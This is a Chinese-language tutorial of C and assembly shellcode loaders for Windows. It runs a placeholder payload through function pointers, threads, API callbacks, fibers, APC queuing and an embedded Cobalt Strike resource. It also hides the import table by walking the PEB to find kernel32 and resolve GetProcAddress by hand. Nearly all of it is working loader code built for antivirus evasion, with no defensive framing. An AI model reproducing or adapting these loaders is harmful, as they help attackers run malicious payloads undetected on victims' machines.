改變加載方式

指針執行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode"; // unsigned表示無符號數
    /*
    * VirtualAlloc是Windows API
    * 參數1:分配的內存的起始地址,如果為NULL則由系統決定
    * 參數2:分配的內存大小,以字節為單位
    * 參數3:分配的內存類型,MEM_COMMIT表示將分配的內存立即提交給物理內存,MEM_RESERVE表示保留內存但不提交
    * 參數4:分配的內存保護屬性,PAGE_READWRITE可讀可寫,PAGE_EXECUTE_READ可執行可讀
    */
    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 指針指向申請的內存
    memcpy(p, buf, sizeof(buf)); // 將shellcode寫入內存
    /*
    * 類型強制轉換:(目標類型)表達式
    * (void(*)())p:將p轉換為指向無參數、無返回值的函數指針
    * ((void(*)())p)():對函數進行調用
    */
    ((void(*)())p)(); // 執行shellcode
    return 0;
}

匯編執行

#include 
#include 
// .data段(數據段,存儲靜態變量和全局變量)改為可讀可寫可執行
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode"; // 要為全局變量
int main() {
    __asm {
        lea eax, buf // 這里查看反匯編是lea eax,[buf地址]
        call eax
    }
    return 0;
}

創建線程執行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode";
    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    // CopyMemory是Windows API
    CopyMemory(p, buf, sizeof(buf)); // 將shellcode寫入內存
    /*
    * CreateThread是Windows API,用于創建一個新線程
    * 參數1:指向 SECURITY_ATTRIBUTES 結構體的指針,用于指定新線程的安全屬性,NULL表示默認安全屬性
    * 參數2:指定新線程的堆棧大小,0表示默認大小,如果指定大小小于MINIMUM_STACK_SIZE(通常1KB),則會被自動調整為MINIMUM_STACK_SIZE
    * 參數3:線程函數指針,必須是靜態函數或全局函數,且返回值為DWORD
    * 參數4:傳遞給線程函數的參數指針,可以將任何類型的數據轉換為LPVOID來傳遞參數
    * 參數5:0表示創建線程后立刻執行,CREATE_SUSPENDED表示創建線程后立即掛起,等待調用 ResumeThread 才會開始執行
    * 參數6:接收新線程 ID 的變量的指針,NULL表示不返回線程ID
    */
    // 句柄(Handle)是一種用于標識對象的數據類型,實際上是一個指向內存中數據結構的指針,該數據結構描述了所標識的對象的屬性
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL); // 線程句柄
    /*
    * 參數1:內核對象的句柄
    * 參數2:等待時間的毫秒數,INFINITE(即-1)表示無限等待直到對象進入signaled狀態
    */
    WaitForSingleObject(hThread, INFINITE); // 等待新線程執行完畢,不等待可能執行不到
    return 0;
}

回調函數執行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode";
    void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, buf, sizeof(buf));
    
    /*
    * EnumFontsW是Windows API,用于枚舉系統中所有可用字體
    * 參數1:設備環境句柄,表示要枚舉哪個設備的字體
    * 參數2:NULL表示枚舉所有字體
    * 參數3:回調函數指針,用于處理每個枚舉到的字體信息
    * 參數4:回調函數參數
    */
    EnumFontsW(GetDC(NULL), NULL, p, NULL); // 回調函數
    return 0;
}

線程池等待對象回調函數執行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode";
    /*
    * VirtualProtect是Windows API,用于修改內存訪問權限
    * 參數1:指向內存的指針
    * 參數2:內存大小(以字節為單位)
    * 參數3:新的訪問權限
    * 參數4:用于接收修改前的訪問權限,NULL表示不需要接受(但是會出錯)
    */
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode內存后修改為可讀可寫可執行
    /*
    * CreateEvent是Windows API,用于創建一個事件對象
    * 參數1:安全屬性,NULL表示默認
    * 參數2:是否手動復位
    * 參數3:TRUE表示事件對象的初始狀態為有信號狀態,否則為無信號狀態
    * 參數4:事件名稱,NULL表示不使用名稱
    */
    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    /*
    * CreateThreadpoolWait是Windows API,用于創建一個線程池等待對象
    * 參數1:回調函數指針
    * 參數2:回調函數參數
    * 參數3:線程池回調環境
    */
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL);
    /*
    * SetThreadpoolWait是Windows API,用于向線程池中添加等待對象
    * 參數1:線程池等待對象
    * 參數2:要等待的內核對象句柄
    * 參數3:等待超時時間,NULL表示無限等待
    */
    SetThreadpoolWait(threadPoolWait, event, NULL);
    WaitForSingleObject(event, INFINITE); // 等待事件對象執行完畢(狀態變為無信號),事件對象執行會執行回調函數buf
    return 0;
}

創建纖程(Fiber)執行

#include 
#include 
int main() {
    unsigned char buf[] = "shellcode";
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    ConvertThreadToFiber(NULL); // 將當前線程轉換為纖程(輕量級線程)
    /*
    * CreateFiber用于創建纖程對象
    * 參數1:纖程棧的大小,0表示使用默認值
    * 參數2:函數指針
    * 參數3:創建纖程的標志位
    */
    void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
    SwitchToFiber(shellcodeFiber); // 切換纖程,執行函數
    DeleteFiber(shellcodeFiber); // 刪除纖程對象
    return 0;
}

NtTestAlert+APC執行

#include 
#include 
// 定義的一個函數指針類型pNtTestAlert,函數使用__stdcall調用約定(用于大多數Win32 API函數),函數返回DWORD類型
typedef DWORD(WINAPI* pNtTestAlert)();
int main() {
    unsigned char buf[] = "shellcode";
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    /*
    * GetModuleHandleA用于獲取DLL的句柄
    * GetProcAddress用于獲取函數地址
    * NtTestAlert函數是內部函數,無法直接通過函數名調用
    */
    pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
    /*
    * QueueUserAPC是Windows API,用于將APC函數插入到指定線程的APC隊列中
    * 參數1:APC函數指針
    * 參數2:指定線程句柄
    * 參數3:APC函數參數
    * GetCurrentThread是Windows API,返回當前執行的線程的句柄
    */
    QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL);
    NtTestAlert(); // 該函數會檢查當前線程的APC隊列是否有待執行的異步過程調用,如果有就會立刻執行
    return 0;
}

從資源加載執行

源文件->添加->資源->導入->CS生成的.bin文件->資源類型(xxx)

在resource.h查看資源ID(#define IDR_XXX1)

#include 
#include 
#include "resource.h" // 將資源文件 resource.h 中定義的資源包含到當前文件
int main() {
    /*
    * FindResource是windows API,用于在資源表中查找指定名稱和類型的資源
    * 參數1:模塊句柄,表示要在哪個模塊中查找資源,NULL表示在當前模塊中查找
    * 參數2:查找資源的名稱或ID,如果是用ID,則需要使用宏 MAKEINTRESOURCE 將ID轉換為字符串類型
    * 參數3:資源類型名稱
    */
    HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_XXX1), L"xxx");
    DWORD Size = SizeofResource(NULL, Res); // Windows API,用于獲取資源大小
    HGLOBAL Load = LoadResource(NULL, Res); // Windows API,用于加載資源
    void* p = VirtualAlloc(NULL, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(p, Load, Size);
    ((void(*)())p)();
    return 0;
}

函數替換

VirtualAlloc

GlobalAlloc
CoTaskMemAlloc
HeapAlloc
RtlCreateHeap
AllocADsMem
ReallocADsMem

回調函數

EnumTimeFormatsA
EnumWindows
EnumDesktopWindows
EnumDateFormatsA
EnumChildWindows
EnumThreadWindows
EnumSystemLocalesA
EnumSystemGeoID
EnumSystemLanguageGroupsA
EnumUILanguagesA
EnumSystemCodePagesA
EnumDesktopsW
EnumSystemCodePagesW

隱藏導入表

獲取DLL函數地址執行

但是導入表會有 loadlibary 和 GetProcAddress

#include 
#include 
//typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
    unsigned char buf[] = "shellcode";
    HMODULE hKernal32 = LoadLibrary(L"Kernel32.dll"); // 加載DLL文件,該函數使用 Unicode 編碼所以要加L表示這是一個寬字符(wchar_t)類型的字符串
    //pVirtualAlloc VirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernal32, "VirtualAlloc");
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

x64完全隱藏導入表

64位,gs:[0x30]指向TEB結構體(包含進程中運行線程的各種信息),TEB+0x60 和 gs:[0x60]都是指向PEB結構體(包含進程信息),PEB+0x18指向PEB_LDR_DATA結構體,PEB_LDR_DATA+0x30指向InInitializationOrderModuleList

VS用64位寫匯編函數(64位不能直接用__asm{}):

視圖->解決方案資源管理器->源文件->添加->新建項->xxx.asm

xxx.asm->屬性->從生成中排除(否)、項類型(自定義生成工具)、命令行(ml64 /Fo (IntDir)%(fileName).obj)

xxx.asm:

.CODE
    GetInInitializationOrderModuleList PROC
    mov rax,gs:[60h] ; PEB,這里不能寫0x60
    mov rax,[rax+18h] ; PEB_LDR_DATA
    mov rax,[rax+30h] ; InInitializationOrderModuleList
    ret ; 這里不能寫retn
    GetInInitializationOrderModuleList ENDP
END

xxx.c:

#include 
#include 
typedef struct _UNICODE_STRING {
    USHORT Length; // 這三個是必有的,用來描述Buffer
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;// UNICODE_STRING 相當于 struct _UNICODE_STRING
/*
* 返回64位無符號地址的指針
* 如果是C++,要用extern "C" PVOID64 __stdcall GetPEB();表示函數使用C語言的調用約定(取消函數名稱修飾)
*/
PVOID64 __stdcall GetInInitializationOrderModuleList();
HMODULE getKernel32Address() {
    /*
    * LIST_ENTRY是實現了雙向鏈表的結構體
    * Flink 和 Blink 分別指向下一個、上一個節點
    * InInitializationOrderModuleList是一個鏈表,每個節點是LDR_DATA_TABLE_ENTRY結構體(不是C語言結構體)
    */
    LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // 獲取InInitializationOrderModuleList
    while (1) {
        /*
        * x64的LDR_DATA_TABLE_ENTRY結構體偏移量0x38是FullDllName成員,x86是0x24
        * 能強制轉換是因為名稱和類型是對應的
        */
        UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
        // Buffer指向模塊完整路徑名(KERNEL32.DLL\0)
        if (*(FullDllName->Buffer + 12) == '\0') {
            // LDR_DATA_TABLE_ENTRY結構體偏移量0x10是DllBase成員,表示模塊的基地址
            return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
        }
        pNode = pNode->Flink;
    }
}
DWORD64 getGetProcAddress(HMODULE hKernal32) {
    /*
    * PIMAGE_DOS_HEADER指針是指向 IMAGE_DOS_HEADER 結構體的指針
    * IMAGE_DOS_HEADER結構體存儲DOS頭部信息
    * DOS頭部信息是文件頭的第一個部分,也就是PE文件起始地址
    */
    PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 獲取DOS頭
    /*
    * 64位下,指針是8字節,e_lfanew是DWORD是4字節,所以要用LONG64
    * NT頭指針可以獲取PE文件各種信息
    */
    PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT頭
    /*
    * PIMAGE_EXPORT_DIRECTORY是導出表指針
    * OptionalHeader字段中的DataDirectory數組的第0個元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直觀)的VirtualAddress字段為導出表的位置
    */
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 獲取導出表
    /*
    * 導出表的AddressOfFunctions字段包含一個指針數組,數組的每個元素都是導出函數的RVA(相對虛擬地址)
    * 函數的地址為ULONG,所以用PULONG指針
    */
    PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 獲取導出函數地址RVA數組地址
    PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 獲取導出函數名RVA數組地址
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 獲取導出函數序號數組地址
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍歷函數
        LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 當前函數地址
        PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 當前函數名地址
        /*
        * const char*為字符串指針
        * strcmp的參數就是兩個字符串指針,比較內容
        */
        if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
            return F_va_Tmp;
        }
    }
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
    unsigned char buf[] = "x64shellcode";
    HMODULE hKernal32 = getKernel32Address(); // 獲取Kernel32
    pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 獲取GetProcAddress地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

x86完全隱藏導入表

32位,fs:[0x0]指向TEB結構體,fs:[0x30]指向PEB結構體,PEB+0x0c指向PEB_LDR_DATA結構體,PEB_LDR_DATA+0x0c指向InLoadOrderModuleList

xxx.cpp:

新增了 LDR_DATA_TABLE_ENTRY 結構體,重新寫了getKernel32Address函數,去掉xxx.asm

#include 
#include 
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY // 新增 LDR_DATA_TABLE_ENTRY 結構體
{
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID DllBase;
    PVOID EntryPoint;
    UINT32 SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
    UINT32 Flags;
    USHORT LoadCount;
    USHORT TlsIndex;
    LIST_ENTRY HashLinks;
    PVOID SectionPointer;
    UINT32 CheckSum;
    UINT32 TimeDateStamp;
    PVOID LoadedImports;
    PVOID EntryPointActivationContext;
    PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
HMODULE getKernel32Address() { // 重新寫的函數
    LDR_DATA_TABLE_ENTRY* pPLD = NULL;
    char szKernel32[] = { 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0,0,0 }; //Unicode字符所以要跟0,最后一個是\0
    __asm {
        mov eax, fs: [0x30] // PEB
        mov eax, [eax + 0x0C] // PEB_LDR_DATA
        mov eax, [eax + 0x0C] // InLoadOrderModuleList
        mov pPLD, eax
    }
    while (1) {
        if (!strcmp(pPLD->BaseDllName.Buffer, szKernel32)) { // 當前模塊名為KERNEL32.DLL\0
            return (HMODULE)pPLD->DllBase;
        }
        pPLD = (LDR_DATA_TABLE_ENTRY*)pPLD->InLoadOrderLinks.Flink; // 下一個LDR_DATA_TABLE_ENTRY結構體
    }
}
DWORD64 getGetProcAddress(HMODULE hKernal32) {
    /*
    * PIMAGE_DOS_HEADER指針是指向 IMAGE_DOS_HEADER 結構體的指針
    * IMAGE_DOS_HEADER結構體存儲DOS頭部信息
    * DOS頭部信息是文件頭的第一個部分,也就是PE文件起始地址
    */
    PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 獲取DOS頭
    /*
    * 64位下,指針是8字節,e_lfanew是DWORD是4字節,所以要用LONG64
    * NT頭指針可以獲取PE文件各種信息
    */
    PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew); // 偏移到NT頭
    /*
    * PIMAGE_EXPORT_DIRECTORY是導出表指針
    * OptionalHeader字段中的DataDirectory數組的第0個元素(IMAGE_DIRECTORY_ENTRY_EXPORT更直觀)的VirtualAddress字段為導出表的位置
    */
    PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 獲取導出表
    /*
    * 導出表的AddressOfFunctions字段包含一個指針數組,數組的每個元素都是導出函數的RVA(相對虛擬地址)
    * 函數的地址為ULONG,所以用PULONG指針
    */
    PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions); // 獲取導出函數地址RVA數組地址
    PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); // 獲取導出函數名RVA數組地址
    PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals); // 獲取導出函數序號數組地址
    for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍歷函數
        LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 當前函數地址
        PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 當前函數名地址
        /*
        * const char*為字符串指針
        * strcmp的參數就是兩個字符串指針,比較內容
        */
        if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
            return F_va_Tmp;
        }
    }
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
    unsigned char buf[] = "x86shellcode";
    HMODULE hKernal32 = getKernel32Address(); // 獲取Kernel32
    pGetProcAddress GetProcAddress = (pGetProcAddress)getGetProcAddress(hKernal32); // 獲取GetProcAddress地址
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pCreateThread CreateThread = (pCreateThread)GetProcAddress(hKernal32, "CreateThread");
    pWaitForSingleObject WaitForSingleObject = (pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}